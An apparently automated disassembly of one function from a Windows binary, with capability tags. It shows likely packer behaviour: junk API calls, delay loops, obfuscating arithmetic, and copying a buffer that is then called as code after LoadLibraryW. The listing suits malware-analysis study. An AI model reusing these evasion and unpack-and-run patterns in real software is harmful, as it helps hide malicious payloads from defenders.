Function at 0x405160
Capabilities:
Get file attributes
Manipulate console buffer
Move file
Resolve function by parsing pe exports

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x448b61
push eax
mov dword fs:[0], esp
sub esp, 0xda8
push ebx
push ebp
push esi
xor ebp, ebp
cmp dword [0x70ca0c], 0x6a6
push edi
jne 0x405304
push ebp
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push ebp
push ebp
push ebp
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
xor eax, eax
xor ecx, ecx
mov word [esp + 0x12], cx
lea edx, [esp + 0xa0]
push edx
mov word [esp + 0x14], ax
mov eax, dword [esp + 0x14]
push eax
push ebp
lea ecx, [esp + 0x1c0]
push ecx
push ebp
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
push ebp
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push ebp
call dword [sym.imp.KERNEL32.dll_SetHandleCount]
mov dword [esp + 0xc8], 0xf
mov dword [esp + 0xc4], ebp
mov byte [esp + 0xb4], 0
push ebp
push 0x4036b7
push 0x44ed78
mov dword [esp + 0xdcc], ebp
call fcn.00407ab2
add esp, 0xc
call fcn.0040759b
push 1
push 0x44c990
lea ecx, [esp + 0xac]
call fcn.00407b30
lea ecx, [esp + 0xa4]
mov dword [esp + 0xa4], 0x401274
call fcn.00407baa
push ebp
call fcn.00407d58
add esp, 4
push ebp
call fcn.00407d29
add esp, 4
push ebp
push ebp
call fcn.00407d3f
push ebp
push ebp
call fcn.00407ea9
add esp, 0x10
call fcn.004078aa
lea edx, [esp + 0xe4]
push edx
call fcn.00406800
mov dword [esp + 0xe4], 0x4038e4
mov dword [esp + 0x120], ebp
mov dword [esp + 0x124], ebp
lea eax, [esp + 0x12c]
push eax
mov byte [esp + 0xdc4], 2
call fcn.004062e0
lea ecx, [esp + 0x180]
call fcn.00406390
lea ecx, [esp + 0x180]
push ecx
mov dword [esp + 0x184], 0x403880
call fcn.00406f2b
add esp, 4
lea ecx, [esp + 0xe4]
mov byte [esp + 0xdc0], 0
call fcn.00405db0
mov dword [esp + 0xdc0], 0xffffffff
cmp dword [esp + 0xc8], 0x10
jb 0x405304
mov edx, dword [esp + 0xb4]
push edx
call fcn.00408140
add esp, 4
mov edi, dword [sym.imp.USER32.dll_GetCaretBlinkTime]
xor esi, esi
lea esp, [esp]
cmp esi, 0xab98
jge 0x40531a
call edi
inc esi
cmp esi, 0x139c8
jl 0x405310
mov eax, 0x11b1b
add dword [0x70ca0c], eax
call fcn.00405080
call fcn.004050a0
xor esi, esi
cmp dword [0x70ca0c], ebp
jbe 0x405383
mov edi, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
mov edi, edi
mov eax, dword [0x70d3ac]
mov cl, byte [eax + esi + 0x11b1b]
mov edx, dword [0x709914]
mov byte [edx + esi], cl
cmp dword [0x70ca0c], 0xa8
jne 0x40537a
push ebp
push ebp
push ebp
push ebp
call edi
push ebp
call ebx
inc esi
cmp esi, dword [0x70ca0c]
jb 0x405350
mov esi, dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov ebp, dword [sym.imp.KERNEL32.dll_FindNextVolumeA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
xor eax, eax
mov dword [esp + 0x10], eax
mov ecx, dword [0x70ca0c]
add ecx, eax
cmp ecx, 0xe
jne 0x405431
push 0x30
lea edx, [esp + 0xb8]
push 0
push edx
mov dword [esp + 0xbc], 0
call fcn.0040b870
add esp, 0xc
push 0
lea eax, [esp + 0xb4]
push eax
push 0
call esi
push 0
push 0
push 0
push 0
call edi
push 0
lea ecx, [esp + 0x1b8]
push ecx
push 0
call ebp
push 0
push 0
lea edx, [esp + 0x5bc]
push edx
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalSize]
push 0
push 0x4037a0
push 0x4037b0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov eax, dword [esp + 0x10]
inc eax
cmp eax, 0x4f95a3
mov dword [esp + 0x10], eax
jl 0x4053a1
mov edi, dword [sym.imp.GDI32.dll_GetBoundsRect]
mov ebx, dword [sym.imp.GDI32.dll_SelectPalette]
mov esi, 0x4f4
push 0
push 0
push 0
call edi
push 0
push 0
push 0
call ebx
sub esi, 1
jne 0x405452
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
lea ecx, [ecx]
push 0
call edi
cmp esi, 0x26c0e8
jge 0x405881
mov dword [esp + 0x64], 0x5fe961e3
mov dword [esp + 0x58], 0x49a4f52f
mov dword [esp + 0x4c], 0x7e2898d3
mov dword [esp + 0x88], 0x4065fc82
mov dword [esp + 0x3c], 0x18c80701
mov dword [esp + 0x74], 0x5f9d0d56
mov dword [esp + 0x2c], 0x1c1f4481
mov dword [esp + 0x18], 0x4b1ef013
mov dword [esp + 0x80], 0x2a1f0e44
mov dword [esp + 0x8c], 0xdfeb72e
mov dword [esp + 0x24], 0x2fc2bc74
mov dword [esp + 0x34], 0x23a90445
mov dword [esp + 0x94], 0x781ab236
mov dword [esp + 0x28], 0x40f5be66
mov dword [esp + 0x50], 0x2b7518e3
mov dword [esp + 0x9c], 0x38be9568
mov dword [esp + 0x48], 0x54010a01
mov dword [esp + 0x70], 0x10080fc0
mov dword [esp + 0x40], 0x7550b6e6
mov dword [esp + 0x14], 0x3c714104
mov dword [esp + 0x20], 0x77d3eb8e
mov dword [esp + 0x38], 0x7882e4db
mov dword [esp + 0x68], 0x41f8a832
mov dword [esp + 0x6c], 0x6ffa8950
mov dword [esp + 0x7c], 0x8052dd4
mov dword [esp + 0x5c], 0x4144447d
mov dword [esp + 0x30], 0x16d15ea0
mov dword [esp + 0x54], 0x458e5587
mov dword [esp + 0x98], 0x78ea0dd8
mov dword [esp + 0x44], 0x69b1a7da
mov dword [esp + 0x1c], 0xfe4e232
mov dword [esp + 0x60], 0x304b5a37
mov dword [esp + 0x84], 0x693177cf
mov dword [esp + 0x78], 0xdd9aa86
mov dword [esp + 0x90], 0x5102a200
add dword [esp + 0x4c], 0x15585d82
add dword [esp + 0x88], 0x2beaf791
mov eax, 0x4638e742
mul dword [esp + 0x58]
mov eax, dword [esp + 0x58]
mov eax, 0x4cb949e
mul dword [esp + 0x64]
mov eax, dword [esp + 0x64]
sub dword [esp + 0x3c], 0x2ad05849
sub dword [esp + 0x58], 0x2940914f
mov eax, 0x5db85ec5
mul dword [esp + 0x58]
mov eax, dword [esp + 0x58]
add dword [esp + 0x88], 0x7e415add
add dword [esp + 0x58], 0x63dd9a3d
mov eax, 0x2094f93
mul dword [esp + 0x64]
mov eax, dword [esp + 0x64]
sub dword [esp + 0x4c], 0x77a1f0c1
mov eax, 0x347bf641
mul dword [esp + 0x8c]
mov eax, dword [esp + 0x8c]
mov eax, 0x1ac9057f
mul dword [esp + 0x4c]
mov eax, dword [esp + 0x4c]
mov eax, 0x695a6621
mul dword [esp + 0x80]
mov eax, dword [esp + 0x80]
mov eax, 0x5cf96a1a
mul dword [esp + 0x8c]
mov eax, dword [esp + 0x8c]
mov eax, 0x49485715
mul dword [esp + 0x94]
mov eax, dword [esp + 0x94]
mov eax, 0x198ae27d
mul dword [esp + 0x3c]
mov eax, dword [esp + 0x3c]
sub dword [esp + 0x2c], 0x4efd6398
sub dword [esp + 0x4c], 0x45ea3441
sub dword [esp + 0x8c], 0x23587e4a
mov eax, 0x1651456c
mul dword [esp + 0x64]
mov eax, dword [esp + 0x64]
sub dword [esp + 0x4c], 0x14f0fd28
mov eax, 0x36ebc3ef
mul dword [esp + 0x3c]
mov eax, dword [esp + 0x3c]
mov eax, 0x644c396f
mul dword [esp + 0x2c]
mov eax, dword [esp + 0x2c]
mov eax, 0x136de5cf
mul dword [esp + 0x94]
mov eax, dword [esp + 0x94]
sub dword [esp + 0x70], 0x6391070f
add dword [esp + 0x2c], 0x1de85449
sub dword [esp + 0x88], 0x28c193fd
sub dword [esp + 0x9c], 0x226a8dc1
mov eax, 0x2dc77eb1
mul dword [esp + 0x28]
mov eax, dword [esp + 0x28]
sub dword [esp + 0x94], 0x290e3153
sub dword [esp + 0x9c], 0x19153a5c
mov eax, 0x6f6f8864
mul dword [esp + 0x94]
mov eax, dword [esp + 0x94]
mov eax, 0x7f5bc4b0
mul dword [esp + 0x94]
mov eax, dword [esp + 0x94]
add dword [esp + 0x70], 0x17e4fe84
add dword [esp + 0x94], 0x544f1c61
mov eax, 0x6f7a4a17
mul dword [esp + 0x9c]
mov eax, dword [esp + 0x9c]
add dword [esp + 0x24], 0x7d69ca54
sub dword [esp + 0x24], 0x5e2b8f7c
add dword [esp + 0x74], 0x6e36358c
mov eax, 0x6a434c3b
mul dword [esp + 0x14]
mov eax, dword [esp + 0x14]
mov eax, 0x57b80b8b
mul dword [esp + 0x2c]
mov eax, dword [esp + 0x2c]
sub dword [esp + 0x80], 0x650595a0
mov eax, 0x653c0db0
mul dword [esp + 0x70]
mov eax, dword [esp + 0x70]
sub dword [esp + 0x24], 0x3798a8b9
mov eax, 0x4ca06c09
mul dword [esp + 0x6c]
mov eax, dword [esp + 0x6c]
add dword [esp + 0x68], 0xc81bb7b
sub dword [esp + 0x48], 0x5503528
add dword [esp + 0x30], 0x21e87b87
sub dword [esp + 0x30], 0x7988a04e
add dword [esp + 0x5c], 0x1b47b26c
mov eax, 0x147adc58
mul dword [esp + 0x6c]
mov eax, dword [esp + 0x6c]
add dword [esp + 0x24], 0x772b710
add dword [esp + 0x18], 0x3660aa67
sub dword [esp + 0x64], 0x37bbfa04
sub dword [esp + 0x34], 0x47917d1c
add dword [esp + 0x70], 0x4791255d
add dword [esp + 0x38], 0x517b5747
add dword [esp + 0x40], 0x34cce873
add dword [esp + 0x28], 0xf3517de
add dword [esp + 0x34], 0x5e86a2e5
sub dword [esp + 0x94], 0x5e321aa3
sub dword [esp + 0x20], 0x506489dd
sub dword [esp + 0x94], 0x517f47b0
mov eax, 0x4a0299f9
mul dword [esp + 0x20]
mov eax, dword [esp + 0x20]
cmp esi, 0x2735c9
jg 0x405896
inc esi
cmp esi, 0x1f6e7e0
jl 0x405470
call fcn.00404ef0
xor edx, edx
lea ecx, [ecx]
cmp edx, 0x26
jne 0x4058aa
call fcn.00405060
inc edx
cmp edx, 0x409495
jl 0x4058a0
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
mov ebx, 0x7b
cmp dword [0x70ca0c], 0x86
jne 0x4058da
push 0
call esi
push 0
push 0
call edi
sub ebx, 1
jne 0x4058c4
mov esi, dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
mov edi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
mov ebx, 0x180ef
cmp dword [0x70ca0c], 0x1f
jne 0x40590d
push 0
push 0
call esi
push 0
push 0x4037c4
push 0x4037d0
call edi
sub ebx, 1
jne 0x4058f0
push 0x4037e0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov eax, dword [0x709914]
mov dword [0x70ca00], eax
call eax
mov ecx, dword [esp + 0xdb8]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0xdb4
ret